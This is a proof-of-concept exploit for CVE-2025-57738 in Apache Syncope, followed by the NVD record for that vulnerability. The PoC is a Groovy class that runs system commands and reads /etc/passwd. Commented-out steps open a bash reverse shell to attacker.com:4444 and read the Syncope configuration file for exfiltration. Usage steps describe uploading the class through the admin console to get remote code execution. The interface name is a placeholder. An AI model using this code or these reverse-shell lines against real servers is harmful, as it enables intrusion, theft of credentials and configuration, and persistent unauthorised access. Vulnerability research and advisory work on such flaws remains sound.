CVE-2025-57738

# CVE-2025-57738 - Apache Syncope Groovy Code Injection PoC # This PoC demonstrates the malicious Groovy class that can be injected # through the Apache Syncope custom extension feature. import org.apache.syncope.core.persistence.api.dao.* import org.apache.syncope.core.persistence.api.entity.* class MaliciousImplementation implements SomeSyncopeInterface { @Override Object execute(Map<String, Object> parameters) { // Step 1: Execute arbitrary system command def cmd = ["bash", "-c", "id && whoami && cat /etc/passwd"] def process = Runtime.getRuntime().exec(cmd) def reader = new BufferedReader(new InputStreamReader(process.getInputStream())) def output = new StringBuilder() String line while ((line = reader.readLine()) != null) { output.append(line).append("\n") } // Step 2: Establish reverse shell for persistent access // def shellCmd = ["bash", "-c", "bash -i >& /dev/tcp/attacker.com/4444 0>&1"] // Runtime.getRuntime().exec(shellCmd) // Step 3: Exfiltrate sensitive configuration // def configFile = new File("/opt/syncope/conf/syncope.properties") // if (configFile.exists()) { // return configFile.text // } return output.toString() } } # Usage: # 1. Login to Apache Syncope admin console with admin credentials # 2. Navigate to Extensions > Custom Groovy Classes # 3. Upload the above malicious Groovy class # 4. The code will be automatically loaded and executed by the Syncope Core instance # 5. Attacker gains Remote Code Execution on the server

{"cve": {"id": "CVE-2025-57738", "sourceIdentifier": "[email protected]", "published": "2025-10-20T15:15:33.553", "lastModified": "2025-11-04T22:16:31.757", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apache Syncope offers the ability to extend / customize the base behavior on every deployment by allowing to provide custom implementations of a few Java interfaces; such implementations can be provided either as Java or Groovy classes, with the latter being particularly attractive as the machinery is set for runtime reload.\nSuch a feature has been available for a while, but recently it was discovered that a malicious administrator can inject Groovy code that can be executed remotely by a running Apache Syncope Core instance.\nUsers are recommended to upgrade to version 3.0.14 / 4.0.2, which fix this issue by forcing the Groovy code to run in a sandbox."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-653"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:syncope:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.1.0", "versionEndExcluding": "3.0.14", "matchCriteriaId": "8823A707-C1A3-4418-8DC2-CB879C8D2D8A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:syncope:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.2", "matchCriteriaId": "8722F657-C2A5-49FE-B79D-2B06F030A8AF"}]}]}], "references": [{"url": "https://lists.apache.org/thread/x7cv6xv7z76y49grdr1hgj1pzw5zbby6", "source": "[email protected]", "tags": ["Mailing List", "Release Notes"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/20/1", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}